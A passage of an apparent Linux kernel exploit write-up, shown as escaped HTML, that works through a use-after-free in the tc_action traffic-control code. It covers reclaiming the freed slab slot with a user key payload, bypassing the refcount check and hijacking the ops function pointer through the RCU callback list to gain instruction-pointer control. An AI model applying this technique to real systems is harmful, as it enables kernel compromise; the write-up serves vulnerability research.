&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		ret &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;= -&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;EFAULT&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;copy_from_user&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; _payload&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; plen&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; !=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 0&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			goto&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; error2&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Updating a key first allocates memory for the &lt;code&gt;payload&lt;/code&gt; — i.e. &lt;code&gt;data&lt;/code&gt;. If &lt;code&gt;data&lt;/code&gt; is larger than 192 it also lands in the kmalloc-256 slab cache.&lt;/p&gt;
&lt;p&gt;This interferes with the exploit, because &lt;code&gt;data&lt;/code&gt; may itself reclaim the &lt;code&gt;Victim Object&lt;/code&gt;’s slab slot.&lt;/p&gt;
&lt;p&gt;As long as &lt;code&gt;data&lt;/code&gt; is greater than 168 and at most 192, &lt;code&gt;data&lt;/code&gt; lands in the kmalloc-192 slab cache — &lt;code&gt;168 + 24 + 1 = 192 + 1&lt;/code&gt; — and &lt;code&gt;struct user_key_payload&lt;/code&gt; still lands in kmalloc-256.&lt;/p&gt;
&lt;p&gt;Once the &lt;code&gt;Reclaim Object&lt;/code&gt; is in place, &lt;code&gt;if (!refcount_inc_not_zero(&amp;amp;p-&amp;gt;tcfa_refcnt))&lt;/code&gt; will check whether &lt;code&gt;p-&amp;gt;tcfa_refcnt&lt;/code&gt; is zero — this check must be bypassed.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# pahole &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span&gt;C tc_action vmlinux&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; tc_action &lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-1&quot;&gt;	refcount_t&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; tcfa_refcnt &lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt; /*    28     4 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; __attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;tcfa_refcnt&lt;/code&gt; sits at offset 28, overlapping the &lt;code&gt;Reclaim Object&lt;/code&gt;’s &lt;code&gt;data[4]&lt;/code&gt; for 4 bytes, so set &lt;code&gt;*(uint32_t *)(data + 4)&lt;/code&gt; to a value greater than 0.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/act_api.c#L468&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; size_t&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tcf_action_fill_size&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; tc_action &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;act&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	size_t&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; sz &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tcf_action_shared_attrs_size&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;act&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;act&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;get_fill_size&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		return&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; act&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;get_fill_size&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;act&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; +&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; sz&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	return&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; sz&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;While creating actions in its loop, &lt;code&gt;tcf_action_init()&lt;/code&gt; calls &lt;code&gt;tcf_action_fill_size()&lt;/code&gt; for each successfully created action, which ends up calling &lt;code&gt;act-&amp;gt;ops-&amp;gt;get_fill_size()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Controlling this function pointer controls RIP.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# pahole &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span&gt;C tc_action vmlinux&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; tc_action &lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;	const&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; tc_action_ops  &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; ops&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;               /*     0     8 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; __attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;ops&lt;/code&gt; pointer, at offset 0.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# pahole &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span&gt;C user_key_payload vmlinux&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; user_key_payload &lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; callback_head rcu &lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt; /*     0    16 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; __attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Offset 0 of &lt;code&gt;struct user_key_payload&lt;/code&gt; is the &lt;code&gt;struct callback_head rcu&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# pahole &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span&gt;C callback_head vmlinux&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; callback_head &lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;        struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; callback_head &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;     next&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;                 /*     0     8 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;        void&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;                       (&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;func&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; callback_head &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-5 z-i&quot;&gt; /*     8     8 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* size: 16, cachelines: 1, members: 2 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;        /* last cacheline: 16 bytes */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; __attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;__aligned__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first 8 bytes of &lt;code&gt;struct callback_head&lt;/code&gt; are &lt;code&gt;struct callback_head *next&lt;/code&gt;, which overlaps the &lt;code&gt;ops&lt;/code&gt; pointer. Whether &lt;code&gt;struct callback_head *next&lt;/code&gt; points to attacker-controlled memory is therefore the key to the exploit.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/security/keys/user_defined.c#L119&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; user_update&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; key &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; key_preparsed_payload &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;prep&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	struct&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; user_key_payload &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;zap &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; NULL&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	zap &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; dereference_key_locked&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (zap)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;		call_rcu&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;zap&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;rcu&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; user_free_payload_rcu&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;EXPORT_SYMBOL_GPL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span&gt;user_update&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Updating a &lt;code&gt;struct user_key_payload&lt;/code&gt; calls &lt;code&gt;call_rcu()&lt;/code&gt; to free the stale one after a grace period.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/kernel/rcu/rcu_segcblist.c#L335&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; rcu_segcblist_enqueue&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; rcu_segcblist &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;rsclp&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			   struct&lt;/span&gt;&lt;span&gt; rcu_head &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;rhp&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	WRITE_ONCE&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;rsclp&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;tails&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;RCU_NEXT_TAIL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; rhp&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	WRITE_ONCE&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;rsclp&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;tails&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;RCU_NEXT_TAIL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;, &amp;amp;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;rhp&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;	...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;call_rcu()&lt;/code&gt; ends up in &lt;code&gt;rcu_segcblist_enqueue()&lt;/code&gt;, where &lt;code&gt;rhp&lt;/code&gt; is the &lt;code&gt;&amp;amp;zap-&amp;gt;rcu&lt;/code&gt; passed in by &lt;code&gt;call_rcu()&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/include/linux/types.h#L250&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-15&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; rcu_head&lt;/span&gt;&lt;span class=&quot;z-11&quot;&gt; callback_head&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;struct rcu_head&lt;/code&gt; is just &lt;code&gt;struct callback_head&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;struct rcu_head **tails[RCU_CBLIST_NSEGS]&lt;/code&gt; is a triple pointer.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rsclp-&amp;gt;tails[RCU_NEXT_TAIL]&lt;/code&gt; has type &lt;code&gt;struct rcu_head **&lt;/code&gt;; &lt;code&gt;*rsclp-&amp;gt;tails[RCU_NEXT_TAIL]&lt;/code&gt; is a &lt;code&gt;struct rcu_head *&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;WRITE_ONCE&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span&gt;rsclp&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;tails&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span&gt;RCU_NEXT_TAIL&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span&gt; rhp&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;*rsclp-&amp;gt;tails[RCU_NEXT_TAIL] = rhp&lt;/code&gt;&lt;/p&gt;
